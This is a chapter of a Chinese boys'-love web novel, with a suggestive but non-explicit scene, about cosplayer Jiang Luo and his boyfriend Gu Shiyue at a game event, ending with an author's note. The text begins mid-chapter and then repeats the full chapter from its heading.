“再舔两下我都要……那个了。”江洛哼哼唧唧道。 “哪个?”顾时越问。 “你说哪个啊……”江洛蹭了蹭他的裤子,眯眼咬着嘴唇。 “那就换个地方继续舔。”顾时越一脸平静地说。 江洛招架不住,捂住他的嘴:“饶过我吧,别说了。” 顾时越虽然话少,但他性格其实一点都不闷,表达总是很直接。江洛一直都觉得自己脸皮不算薄,但顾时越总能面无表情地说出那些让他无法招架的话。 顾时越又舔了舔他的手心。 江洛实在受不了了,他拿开手,低下头吻住了顾时越的嘴唇。他们拥抱着舌吻,舌头缠在一起,江洛轻轻咬了下顾时越的舌头,咬完又勾着舌尖舔了舔。 顾时越半睁开眼,忽然掐住他的两颊,更激烈地加深了这个吻。 不知吻了多久,江洛身上都出汗了。他趴在顾时越肩膀上轻轻喘着气,浑身发软又发烫。江洛坐在顾时越身上……。 他自己的也抵在顾时越的小腹上,隔着两层薄薄的布料。 “我给你弄弄?”江洛侧过头,小声问他。 顾时越摇头。 他们一会儿还要出去吃饭,这点时间不够弄,而且弄完身上肯定有味道,也来不及洗澡。 江洛蹭了蹭他,如实陈述情况:“可是你变好大。” “知道还乱动。”顾时越按住他的后腰。 江洛笑了两声:“那怎么办呢。”他低头看了看,伸手摸着顾时越的腹肌,手指卡在两个人贴着的地方。 顾时越也摸了过去,手指穿进他的指缝间,问:“手,还是嘴?” 江洛抬起眼来。 他知道顾时越在问什么。 江洛“唔”了一声,勾着顾时越的手指没吭声。 “还是两个都要?”顾时越已经在解他裤子的腰带。 江洛抓住他的手,摇头道:“不要了,一会儿大树他们来找我们,咱俩要是还没结束……那就尴尬了。” “嗯。那缓缓吧,一会儿就好了。” 江洛看着顾时越,一本正经道:“其实我想两个都要。可以先预留,之后再兑现吗?” 顾时越无声地笑了下:“可以。” 两个人又抱着坐了会儿,但是一点没缓下去。 “这么抱着好像不太好缓。”江洛笑着说,“我感觉你又大了。” “嗯。”顾时越若无其事地抚着他的腰,不以为意。 “我先干点正事,转一下注意力。”江洛扶着顾时越的肩膀站起来,从他身上下来。 “感觉这边好热啊,”江洛把明天要穿的cos服挂在了衣柜里,“比咱们那边热很多。” 顾时越按了下床头的开关,把空调打开了。 江洛cos要用的假发装在一个透明的箱子里,他把箱子拎到桌上,打开检查了一下假发的状态。 顾时越走了过来,江洛弯着腰在整理假发。 “你是什么时候开始玩cos的?”顾时越忽然问他。 江洛抬起头来,笑了下:“好早了,初中的时候。” 顾时越抽了张纸巾,擦了擦江洛鼻梁上的汗,“为什么会喜欢这个?” “你要我说个具体的原因我还真说不出来,就是觉得开心吧,情绪价值可以自给自足,我能从中得到满足感,也能交到很多有共同话题的朋友。” 顾时越点了点头,又摸着他的后脑勺问:“你跟我在一起会不会觉得无聊?” 这是客观存在的情况,江洛喜欢的二次元、cos、动漫这些,顾时越基本不接触,这方面两个人之间没有共同话题。 “当然不会。”江洛笑着亲了他一下,“你看不出来我跟你在一起的时候有多开心啊。” “不会就好。” 参加这次庆典活动的官委coser里有好几个是江洛和程嘉树圈里的朋友,今天晚上他们有个聚餐。那帮朋友也住这个酒店,他们来得比江洛他们几个早,下午在周边逛了一圈,现在已经出发去餐厅了。 这些coser有的是自己一个人来参加活动,也有的是像江洛和程嘉树一样,带了“助理”来的,所以聚餐的人员里有很多新面孔,包括顾时越和林予。 到餐厅的时候,顾时越接到了通他导师打来的电话,他找了个安静的地方接电话,江洛他们三个先去了包厢。 顾时越这通电话打得有点久,十分钟后才进包厢。 包厢里一帮人聊得热火朝天,他们吃的是日料自助,围着长桌坐了一圈,顾时越的位置空在那儿也不明显,没人注意到江洛旁边还空着。 顾时越拉开移门的时候,一群人齐刷刷往门口一看,视线集中在他脸上。 他顶着这样一张出众的帅脸,又是陌生面孔,引人注意是必然的。 顾时越扫了一圈,目光停在江洛的方向,江洛笑着朝他抬了下手:“这里。” 这帮人又齐刷刷地看向江洛。 顾时越走到江洛旁边坐了下来,众人的视线追随着他,好奇打量。 谁进来也没见这帮人这么整齐划一地行注目礼,程嘉树不由得笑了起来。这里坐着一圈coser,顾时越的气质一看就不是混这个圈的,他又是江洛带来的,还长了张建模脸,也不怪这帮人看他的眼神这么新奇。 “洛洛,这位帅哥是你朋友啊?”有人问了一句,“怎么不介绍一下?” 江洛笑了笑,说:“不是朋友。” “嗯?”那人一愣。 江洛坦然介绍道:“是家属。” 众人齐齐愣住。 “家属”两个字已经表明了一切,其他不用多说,大家一听就明白。 “我去,男朋友啊?”有人笑着问。 “对。”江洛点点头。 程嘉树凑过来道:“你可真是一点都不藏着啊。” 江洛笑了笑:“这么帅的家属我干嘛要藏着,我藏不住。” 程嘉树嗤笑一声,视线看向顾时越——他竟然看到顾时越笑了一下,笑声低沉而短促。 “原来越哥会笑啊。”程嘉树跟江洛说,“你家属疑似给你哄成胚胎,手段了得。” 江洛转头看了看顾时越,笑眯眯地问:“是吗?” 家属点了点头:“是的。” 明天江洛和程嘉树还要参加庆典活动,要养精蓄锐,吃完饭他们也没去别的地方闲逛,早早地回酒店休息了。 第二天早上九点,四个人出发去了活动现场。活动在一座公园里举办,十点半入场,他们到时公园入口已经排满了人,有穿便服的,也有cos成游戏角色的,人声鼎沸,热闹非凡。 顾时越和林予今日充当江洛和程嘉树的助理,他们有工作证,能跟着走特殊通道。 今天天气好,但也是真的热,太阳很大。 程嘉树啧了一声:“这边是真的热啊,才五月份就这么热。” “今天升温,过两天就降了。”林予说。 “鬼一样的天气。” 江洛的cos服是长袖,还非常厚,程嘉树转头看了他一眼:“你今天不得热死。” 江洛其实已经有点出汗了,他摸了摸脖子,“啊”了一声:“我忘涂防晒了。” “还挺重视形象管理。”程嘉树笑了一声,“放心,把你扔非洲暴晒一个月你都晒不黑的。” 程嘉树说的是实话,江洛是天生冷白皮,扔到人堆里都能发光的那种,他只会被晒红,不会被晒黑。 江洛也不是怕被晒黑,他是怕被晒伤,出门前没想到今天太阳会这么毒。 顾时越从包里拿出一支防晒:“我拿了。” 江洛有点意外地看了他一眼。 程嘉树挑了挑眉:“哎,难怪某人喜欢被管着呢,越哥妥妥爹系啊。” 顾时越没把防晒给江洛,直接往自己手心挤了点,然后抹在江洛脖子上,从后颈抹到下巴,又从下巴抹到喉结。江洛的喉结不太明显,顾时越的指腹缓缓蹭到那里——江洛嘴唇一抿,喉结上下动了一下。 顾时越抬眸看了他一眼。 “怎么了?”顾时越若无其事地问。 “难为情中。” 顾时越低低地笑了声:“那你自己涂?” “不要,还是你涂。” 旁边的人群里投来目光,多数是女生,低笑着交头接耳。 饶是程嘉树这么厚的脸皮,瞧着这画面也有点不好意思,明明顾时越只是面无表情地在帮江洛抹防晒,他轻咳了一声,别过脸去,结果跟林予对上了视线。 “看我干嘛。” 林予挑了下眉:“不能看?” “不能。” “能不能我都看了。” 程嘉树啧了一声,移开视线,懒得炸毛。炸毛也没用,林予有的是办法让他顺毛。 简单来说,官委coser的工作内容就是cos成游戏角色在指定的打卡点“站桩”,有点类似于NPC。江洛和程嘉树负责的打卡点不在同一片区域,他们进园后就分开行动了。 公园外虽然大排长队,但公园里还没什么人,路上都是工作人员和其他官委coser,江洛还碰到了几个熟人。 “你一会儿在那边的帐篷里休息就行。”江洛指了指不远处的临时休息间,对顾时越说。 “嗯。” 顾时越没去帐篷里休息,他一直在打卡点附近看着江洛。 入园时间一到,公园里的人便肉眼可见地多了起来。江洛自带流量,粉丝都知道他今天来当官委,好多人就是冲着他来的,一入园便直奔打卡点。当然,来打卡的不只是粉丝,还有游戏玩家。 江洛自身建模好,cos还原度又高,没多久他的打卡点就排满了人,围得这一片区域水泄不通。 一群人举着手机在拍照,七嘴八舌地说着话。 “我的妈呀,感觉这个coser老师打了个粉底就出门了,好牛逼的建模。” “这是哪个coser啊?” “洛C啊。” “线下真的是好惊人的美貌。” “洛C能不能多接官委造福人类。” …… 顾时越被挤到了外围,前面的女生不小心踩到了他的鞋,转头道:“啊不好意——” 那女生看着他愣了一下,脸微微一红:“不好意思。” 顾时越没说什么,单肩挎着书包走到一边,远离人群。他拿的书包是江洛的,包上挂满了毛绒玩偶,与他冷调的气质十分不符。 女生呆呆地看了他背影两秒,随即转过头跟旁边的同伴疯狂交流。 排队合照的人太多了,江洛连喘口气的机会都没有,今天天热,太阳大,他穿得又厚,在那站了一个多小时,热得有点头晕。 一开始他还能看见人群中顾时越的身影,意识渐渐恍惚之后,连带着视线都变得有点模糊。 江洛强撑着在营业,在路人眼里,他看起来很正常。 顾时越全程看着江洛,他注意到了江洛脸色不对劲。 他绕开队伍从另一边走到了队伍最前面,排在队伍第一个的人正要质问他干什么插队,结果一低头看到了他挂在包上的工作证。 现在有人在跟江洛合照,顾时越等那人照完,便径直朝江洛走了过去。 人群中忽然一阵骚动。 “卧槽卧槽,是那个男粉!”有人认出了顾时越。 “什么什么?什么男粉?” “上次签售会那个男粉啊!长得特别帅的那个!” “我操!真的是!” “他不是粉丝吧?我感觉他跟洛C认识,也是coser吧?” “绝对绝对不是粉丝,我要是说他俩配一脸会不会被打。” “不会哈哈哈哈哈,上次签售我就觉得配一脸。” “不是,现在这什么情况啊?我要造谣了啊。” 在路人视角,顾时越显然不是去合照的,他直接走到了江洛面前,低着头看他。 人群中的骚动范围又扩大了,这下连不明情况的路人玩家都躁动了起来。 因为这个角度,顾时越看起来像是在吻江洛。 江洛有些站不稳,他低下头用力地闭了闭眼睛。 “是不是不舒服?”顾时越的声音在耳边响起。 江洛抬了下头,嘴唇有些泛白,额头上都是汗。 “我……感觉我有点中暑了。”他身形晃了晃,往前一栽。 顾时越扶住了他。 不明状况的路人终于反应过来怎么了。 “我靠洛洛怎么了?” “什么情况?是不是低血糖了?” “我操,中暑了吧?” 顾时越让巡场的工作人员跟排队的玩家说明一下情况,然后扶着江洛去了临时休息间。 江洛坐在休息间的椅子上,顾时越解开他的衣领,从包里拿出湿巾,抽了几张敷在他的脖子上。 然后顾时越又从包里拿出一瓶电解质水,拧开盖子递给他。 江洛接过喝了一口,又看见顾时越从包里拿出一个小电风扇,对着他吹风。 江洛精神恢复了点,笑了笑:“你包里怎么什么都有啊。” 什么顾时越都想到了,江洛什么都不需要考虑,就好像他不管做什么,不管走到哪儿,回头时顾时越永远会在他身后。 这真的让江洛觉得特别踏实。 “难受吗?”顾时越问他。 “还好,就是头有点晕。坐一会儿就好了。” 江洛休息了十分钟就准备回去了,顾时越在他后颈贴了张清凉贴,说:“一会儿我站你旁边。” “嗯?”江洛转头看他。 “给你吹风。”顾时越拎上包,把小风扇拿在手里。 “你怎么那么贴心啊。”江洛笑着说。 这是顾时越不得已的贴心,其实他想直接带江洛走,不想他在这遭罪,但他知道这么做不妥。顾时越挑了下眉:“我是你助理,做这些不是应该的?” “不是。你不是我助理。”江洛拉住了他的手,“你是我老公。” 顾时越盯着他。 江洛拉着他的手晃了晃:“我老公怎么这么贴心。” 家属又被哄成胚胎。 江洛回到了工作岗位,身旁多了个帅哥助理。 排队的人流量一点没少,之后还越来越多。 这天下午,顾时越和江洛的同框照又再次在社交平台上引发了热议。 江洛不需要在打卡点站桩一整天,下午三点他还要去参加巡游。巡游的道路两旁设了隔离线,将游客分隔在巡游队伍之外,顾时越没法跟在江洛身旁,现场人又很多,他就直接在巡游结束的地方等江洛。 整个公园的人都去看巡游了,路边的长椅都空了出来,顾时越找了张长椅坐下,拿出手机给江洛发了个定位。 巡游路线贯穿整个公园,公园不大,一个小时不到巡游就结束了。 顾时越坐在长椅上,从包里拿出了相机。他刚才给江洛拍了很多照片,他打开相册,一张一张地往后翻,翻到第一次见江洛时给他拍的照片。 顾时越看了片刻,拇指在屏幕上轻轻抹了一下,像隔着照片摸了摸江洛的脸。 四周人流熙攘,顾时越抬眼时望见了人群中的那道身影——江洛四处张望,在寻找另一道身影。 顾时越举起相机,江洛的目光倏忽一转,停在他的方向,隔着镜头与他对视。 顾时越按下快门,镜头里的男生笑了一下,从定格的画面走出来——落日余晖中,他穿过人海,来到顾时越身边。 (正文完)- 作者有话说: 正文就到这啦,还有点东西番外再写,晚安^ ^《 》 【正文完】 第51章 这次五一假期江洛去当官委, 江晨没有一道同行,因为顾时越也会去,他不想给两个哥哥当电灯泡。他的五一是和田皓宇一起过的, 两人外出旅游了。 这次的线下活动在省外, 游戏主办方那边提供食宿,已经安排好了酒店。出发当天,江洛和程嘉树约在高铁站碰头。程嘉树没说这次会带人去,所以看到他和林予一同从远处走过来时, 江洛着实吃了一惊。 “什么情况啊?”江洛惊讶地看着林予,“你什么时候回的国?” 林予笑了笑:“上周。” 林予看了眼站在江洛旁边的顾时越, 两人视线交汇, 点了点头, 互相打了个招呼。 江洛看了眼程嘉树:“你这嘴可够严的啊,居然什么都没说。” “有啥好说的, 他来又不是什么大事。”程嘉树一脸不以为意。 “我说你前两天看着心情那么好呢。” “放屁。”程嘉树瞪他一眼, “老子明明每天心情都很好。” 四个人去排队检票, 江洛站在程嘉树后面,问他:“林予他怎么突然回国了?” “他爷爷前阵子身体不舒服,他回来看看。” “现在怎么样了?” “好点了,已经出院了。” 下午四点左右到的酒店, 江洛和程嘉树的房间在同一层, 两间都是双床房。 酒店是主办方安排的, 前台帮他们登记入住, 登记到江洛他们的时候,顾时越说:“帮我们换成大床房。” 前台抬头看了他一眼,又瞄了眼他旁边的江洛,随后垂下眼, 抿着嘴不太明显地笑了下:“好的,您稍等。” 顾时越还升级了一下房型,升到了最好的套房。 前台是个年轻的小姐姐,她办好房卡笑盈盈地递给江洛和顾时越。 江洛的耳朵红得很明显。 程嘉树是不可能亏待自己的,他也升级了房型,他甚至想订两间房,想一个人睡一间大床房,但遭到了林予的拒绝。 上电梯后,程嘉树见江洛的耳朵还红通通的,坏笑着说:“你跟越哥都老夫老夫了,睡个大床房还这么难为情,脸皮这么薄呢。” 江洛拿房卡在他脑门上轻轻一敲:“小嘴巴能不能闭起来。” “不能。” 江洛看了林予一眼,笑着说:“管管他吧。” 林予淡淡一笑:“谁能管得了他,我管不了。” “程嘉树真烦人。”一进房间,江洛就像个树袋熊似的,往顾时越身上一挂。 顾时越抱着他,轻抚他的后颈。 “我的耳朵还红么?”江洛笑着问。 其实已经不红了。 顾时越侧过头,舔了舔他的耳垂。 江洛耳朵一麻,浑身跟过电了似的,连带着小腹都一阵酥麻。 江洛刚恢复到正常肤色的耳朵立刻又变得通红。 “红。”顾时越说。 “你再舔几下,我整个人都要红了。”江洛笑着说。 顾时越没说话,又去舔他的耳朵,从耳廓舔到耳垂。他的舌尖勾着江洛的耳垂,轻轻逗弄着那一片薄薄的嫩肉。 江洛浑身轻颤,呼吸变得有些急促:“别舔了……我有点受不了。” 顾时越轻咬他的耳垂,低沉的嗓音撩得江洛耳朵发麻:“那里都舔过了,舔个耳朵就受不了了?” 江洛顿时红了脸。他不能听顾时越说“舔”这个字,一听就条件反射地头皮发麻,这大概是另一种形式的思想高潮。 只怪顾时越那次带给他的体验感太销魂蚀骨。 顾时越不逗他了,抱着他去床边坐下。 江洛跨坐在他身上,搂着他的脖子跟他四目对望。 “再舔两下我都要……那个了。”江洛哼哼唧唧道。 “哪个?”顾时越问。 “你说哪个啊……”江洛蹭了蹭他的裤子,眯眼咬着嘴唇。 “那就换个地方继续舔。”顾时越一脸平静地说。 江洛招架不住,捂住他的嘴:“饶过我吧,别说了。” 顾时越虽然话少,但他性格其实一点都不闷,表达总是很直接。江洛一直都觉得自己脸皮不算薄,但顾时越总能面无表情地说出那些让他无法招架的话。 顾时越又舔了舔他的手心。 江洛实在受不了了,他拿开手,低下头吻住了顾时越的嘴唇。他们拥抱着舌吻,舌头缠在一起,江洛轻轻咬了下顾时越的舌头,咬完又勾着舌尖舔了舔。 顾时越半睁开眼,忽然掐住他的两颊,更激烈地加深了这个吻。 不知吻了多久,江洛身上都出汗了。他趴在顾时越肩膀上轻轻喘着气,浑身发软又发烫。江洛坐在顾时越身上……。 他自己的也抵在顾时越的小腹上,隔着两层薄薄的布料。 “我给你弄弄?”江洛侧过头,小声问他。 顾时越摇头。 他们一会儿还要出去吃饭,这点时间不够弄,而且弄完身上肯定有味道,也来不及洗澡。 江洛蹭了蹭他,如实陈述情况:“可是你变好大。” “知道还乱动。”顾时越按住他的后腰。 江洛笑了两声:“那怎么办呢。”他低头看了看,伸手摸着顾时越的腹肌,手指卡在两个人贴着的地方。 顾时越也摸了过去,手指穿进他的指缝间,问:“手,还是嘴?” 江洛抬起眼来。 他知道顾时越在问什么。 江洛“唔”了一声,勾着顾时越的手指没吭声。 “还是两个都要?”顾时越已经在解他裤子的腰带。 江洛抓住他的手,摇头道:“不要了,一会儿大树他们来找我们,咱俩要是还没结束……那就尴尬了。” “嗯。那缓缓吧,一会儿就好了。” 江洛看着顾时越,一本正经道:“其实我想两个都要。可以先预留,之后再兑现吗?” 顾时越无声地笑了下:“可以。” 两个人又抱着坐了会儿,但是一点没缓下去。 “这么抱着好像不太好缓。”江洛笑着说,“我感觉你又大了。” “嗯。”顾时越若无其事地抚着他的腰,不以为意。 “我先干点正事,转一下注意力。”江洛扶着顾时越的肩膀站起来,从他身上下来。 “感觉这边好热啊,”江洛把明天要穿的cos服挂在了衣柜里,“比咱们那边热很多。” 顾时越按了下床头的开关,把空调打开了。 江洛cos要用的假发装在一个透明的箱子里,他把箱子拎到桌上,打开检查了一下假发的状态。 顾时越走了过来,江洛弯着腰在整理假发。 “你是什么时候开始玩cos的?”顾时越忽然问他。 江洛抬起头来,笑了下:“好早了,初中的时候。” 顾时越抽了张纸巾,擦了擦江洛鼻梁上的汗,“为什么会喜欢这个?” “你要我说个具体的原因我还真说不出来,就是觉得开心吧,情绪价值可以自给自足,我能从中得到满足感,也能交到很多有共同话题的朋友。” 顾时越点了点头,又摸着他的后脑勺问:“你跟我在一起会不会觉得无聊?” 这是客观存在的情况,江洛喜欢的二次元、cos、动漫这些,顾时越基本不接触,这方面两个人之间没有共同话题。 “当然不会。”江洛笑着亲了他一下,“你看不出来我跟你在一起的时候有多开心啊。” “不会就好。” 参加这次庆典活动的官委coser里有好几个是江洛和程嘉树圈里的朋友,今天晚上他们有个聚餐。那帮朋友也住这个酒店,他们来得比江洛他们几个早,下午在周边逛了一圈,现在已经出发去餐厅了。 这些coser有的是自己一个人来参加活动,也有的是像江洛和程嘉树一样,带了“助理”来的,所以聚餐的人员里有很多新面孔,包括顾时越和林予。 到餐厅的时候,顾时越接到了通他导师打来的电话,他找了个安静的地方接电话,江洛他们三个先去了包厢。 顾时越这通电话打得有点久,十分钟后才进包厢。 包厢里一帮人聊得热火朝天,他们吃的是日料自助,围着长桌坐了一圈,顾时越的位置空在那儿也不明显,没人注意到江洛旁边还空着。 顾时越拉开移门的时候,一群人齐刷刷往门口一看,视线集中在他脸上。 他顶着这样一张出众的帅脸,又是陌生面孔,引人注意是必然的。 顾时越扫了一圈,目光停在江洛的方向,江洛笑着朝他抬了下手:“这里。” 这帮人又齐刷刷地看向江洛。 顾时越走到江洛旁边坐了下来,众人的视线追随着他,好奇打量。 谁进来也没见这帮人这么整齐划一地行注目礼,程嘉树不由得笑了起来。这里坐着一圈coser,顾时越的气质一看就不是混这个圈的,他又是江洛带来的,还长了张建模脸,也不怪这帮人看他的眼神这么新奇。 “洛洛,这位帅哥是你朋友啊?”有人问了一句,“怎么不介绍一下?” 江洛笑了笑,说:“不是朋友。” “嗯?”那人一愣。 江洛坦然介绍道:“是家属。” 众人齐齐愣住。 “家属”两个字已经表明了一切,其他不用多说,大家一听就明白。 “我去,男朋友啊?”有人笑着问。 “对。”江洛点点头。 程嘉树凑过来道:“你可真是一点都不藏着啊。” 江洛笑了笑:“这么帅的家属我干嘛要藏着,我藏不住。” 程嘉树嗤笑一声,视线看向顾时越——他竟然看到顾时越笑了一下,笑声低沉而短促。 “原来越哥会笑啊。”程嘉树跟江洛说,“你家属疑似给你哄成胚胎,手段了得。” 江洛转头看了看顾时越,笑眯眯地问:“是吗?” 家属点了点头:“是的。” 明天江洛和程嘉树还要参加庆典活动,要养精蓄锐,吃完饭他们也没去别的地方闲逛,早早地回酒店休息了。 第二天早上九点,四个人出发去了活动现场。活动在一座公园里举办,十点半入场,他们到时公园入口已经排满了人,有穿便服的,也有cos成游戏角色的,人声鼎沸,热闹非凡。 顾时越和林予今日充当江洛和程嘉树的助理,他们有工作证,能跟着走特殊通道。 今天天气好,但也是真的热,太阳很大。 程嘉树啧了一声:“这边是真的热啊,才五月份就这么热。” “今天升温,过两天就降了。”林予说。 “鬼一样的天气。” 江洛的cos服是长袖,还非常厚,程嘉树转头看了他一眼:“你今天不得热死。” 江洛其实已经有点出汗了,他摸了摸脖子,“啊”了一声:“我忘涂防晒了。” “还挺重视形象管理。”程嘉树笑了一声,“放心,把你扔非洲暴晒一个月你都晒不黑的。” 程嘉树说的是实话,江洛是天生冷白皮,扔到人堆里都能发光的那种,他只会被晒红,不会被晒黑。 江洛也不是怕被晒黑,他是怕被晒伤,出门前没想到今天太阳会这么毒。 顾时越从包里拿出一支防晒:“我拿了。” 江洛有点意外地看了他一眼。 程嘉树挑了挑眉:“哎,难怪某人喜欢被管着呢,越哥妥妥爹系啊。” 顾时越没把防晒给江洛,直接往自己手心挤了点,然后抹在江洛脖子上,从后颈抹到下巴,又从下巴抹到喉结。江洛的喉结不太明显,顾时越的指腹缓缓蹭到那里——江洛嘴唇一抿,喉结上下动了一下。 顾时越抬眸看了他一眼。 “怎么了?”顾时越若无其事地问。 “难为情中。” 顾时越低低地笑了声:“那你自己涂?” “不要,还是你涂。” 旁边的人群里投来目光,多数是女生,低笑着交头接耳。 饶是程嘉树这么厚的脸皮,瞧着这画面也有点不好意思,明明顾时越只是面无表情地在帮江洛抹防晒,他轻咳了一声,别过脸去,结果跟林予对上了视线。 “看我干嘛。” 林予挑了下眉:“不能看?” “不能。” “能不能我都看了。” 程嘉树啧了一声,移开视线,懒得炸毛。炸毛也没用,林予有的是办法让他顺毛。 简单来说,官委coser的工作内容就是cos成游戏角色在指定的打卡点“站桩”,有点类似于NPC。江洛和程嘉树负责的打卡点不在同一片区域,他们进园后就分开行动了。 公园外虽然大排长队,但公园里还没什么人,路上都是工作人员和其他官委coser,江洛还碰到了几个熟人。 “你一会儿在那边的帐篷里休息就行。”江洛指了指不远处的临时休息间,对顾时越说。 “嗯。” 顾时越没去帐篷里休息,他一直在打卡点附近看着江洛。 入园时间一到,公园里的人便肉眼可见地多了起来。江洛自带流量,粉丝都知道他今天来当官委,好多人就是冲着他来的,一入园便直奔打卡点。当然,来打卡的不只是粉丝,还有游戏玩家。 江洛自身建模好,cos还原度又高,没多久他的打卡点就排满了人,围得这一片区域水泄不通。 一群人举着手机在拍照,七嘴八舌地说着话。 “我的妈呀,感觉这个coser老师打了个粉底就出门了,好牛逼的建模。” “这是哪个coser啊?” “洛C啊。” “线下真的是好惊人的美貌。” “洛C能不能多接官委造福人类。” …… 顾时越被挤到了外围,前面的女生不小心踩到了他的鞋,转头道:“啊不好意——” 那女生看着他愣了一下,脸微微一红:“不好意思。” 顾时越没说什么,单肩挎着书包走到一边,远离人群。他拿的书包是江洛的,包上挂满了毛绒玩偶,与他冷调的气质十分不符。 女生呆呆地看了他背影两秒,随即转过头跟旁边的同伴疯狂交流。 排队合照的人太多了,江洛连喘口气的机会都没有,今天天热,太阳大,他穿得又厚,在那站了一个多小时,热得有点头晕。 一开始他还能看见人群中顾时越的身影,意识渐渐恍惚之后,连带着视线都变得有点模糊。 江洛强撑着在营业,在路人眼里,他看起来很正常。 顾时越全程看着江洛,他注意到了江洛脸色不对劲。 他绕开队伍从另一边走到了队伍最前面,排在队伍第一个的人正要质问他干什么插队,结果一低头看到了他挂在包上的工作证。 现在有人在跟江洛合照,顾时越等那人照完,便径直朝江洛走了过去。 人群中忽然一阵骚动。 “卧槽卧槽,是那个男粉!”有人认出了顾时越。 “什么什么?什么男粉?” “上次签售会那个男粉啊!长得特别帅的那个!” “我操!真的是!” “他不是粉丝吧?我感觉他跟洛C认识,也是coser吧?” “绝对绝对不是粉丝,我要是说他俩配一脸会不会被打。” “不会哈哈哈哈哈,上次签售我就觉得配一脸。” “不是,现在这什么情况啊?我要造谣了啊。” 在路人视角,顾时越显然不是去合照的,他直接走到了江洛面前,低着头看他。 人群中的骚动范围又扩大了,这下连不明情况的路人玩家都躁动了起来。 因为这个角度,顾时越看起来像是在吻江洛。 江洛有些站不稳,他低下头用力地闭了闭眼睛。 “是不是不舒服?”顾时越的声音在耳边响起。 江洛抬了下头,嘴唇有些泛白,额头上都是汗。 “我……感觉我有点中暑了。”他身形晃了晃,往前一栽。 顾时越扶住了他。 不明状况的路人终于反应过来怎么了。 “我靠洛洛怎么了?” “什么情况?是不是低血糖了?” “我操,中暑了吧?” 顾时越让巡场的工作人员跟排队的玩家说明一下情况,然后扶着江洛去了临时休息间。 江洛坐在休息间的椅子上,顾时越解开他的衣领,从包里拿出湿巾,抽了几张敷在他的脖子上。 然后顾时越又从包里拿出一瓶电解质水,拧开盖子递给他。 江洛接过喝了一口,又看见顾时越从包里拿出一个小电风扇,对着他吹风。 江洛精神恢复了点,笑了笑:“你包里怎么什么都有啊。” 什么顾时越都想到了,江洛什么都不需要考虑,就好像他不管做什么,不管走到哪儿,回头时顾时越永远会在他身后。 这真的让江洛觉得特别踏实。 “难受吗?”顾时越问他。 “还好,就是头有点晕。坐一会儿就好了。” 江洛休息了十分钟就准备回去了,顾时越在他后颈贴了张清凉贴,说:“一会儿我站你旁边。” “嗯?”江洛转头看他。 “给你吹风。”顾时越拎上包,把小风扇拿在手里。 “你怎么那么贴心啊。”江洛笑着说。 这是顾时越不得已的贴心,其实他想直接带江洛走,不想他在这遭罪,但他知道这么做不妥。顾时越挑了下眉:“我是你助理,做这些不是应该的?” “不是。你不是我助理。”江洛拉住了他的手,“你是我老公。” 顾时越盯着他。 江洛拉着他的手晃了晃:“我老公怎么这么贴心。” 家属又被哄成胚胎。 江洛回到了工作岗位,身旁多了个帅哥助理。 排队的人流量一点没少,之后还越来越多。 这天下午,顾时越和江洛的同框照又再次在社交平台上引发了热议。 江洛不需要在打卡点站桩一整天,下午三点他还要去参加巡游。巡游的道路两旁设了隔离线,将游客分隔在巡游队伍之外,顾时越没法跟在江洛身旁,现场人又很多,他就直接在巡游结束的地方等江洛。 整个公园的人都去看巡游了,路边的长椅都空了出来,顾时越找了张长椅坐下,拿出手机给江洛发了个定位。 巡游路线贯穿整个公园,公园不大,一个小时不到巡游就结束了。 顾时越坐在长椅上,从包里拿出了相机。他刚才给江洛拍了很多照片,他打开相册,一张一张地往后翻,翻到第一次见江洛时给他拍的照片。 顾时越看了片刻,拇指在屏幕上轻轻抹了一下,像隔着照片摸了摸江洛的脸。 四周人流熙攘,顾时越抬眼时望见了人群中的那道身影——江洛四处张望,在寻找另一道身影。 顾时越举起相机,江洛的目光倏忽一转,停在他的方向,隔着镜头与他对视。 顾时越按下快门,镜头里的男生笑了一下,从定格的画面走出来——落日余晖中,他穿过人海,来到顾时越身边。 (正文完)- 作者有话说: 正文就到这啦,还有点东西番外再写,晚安^ ^《 》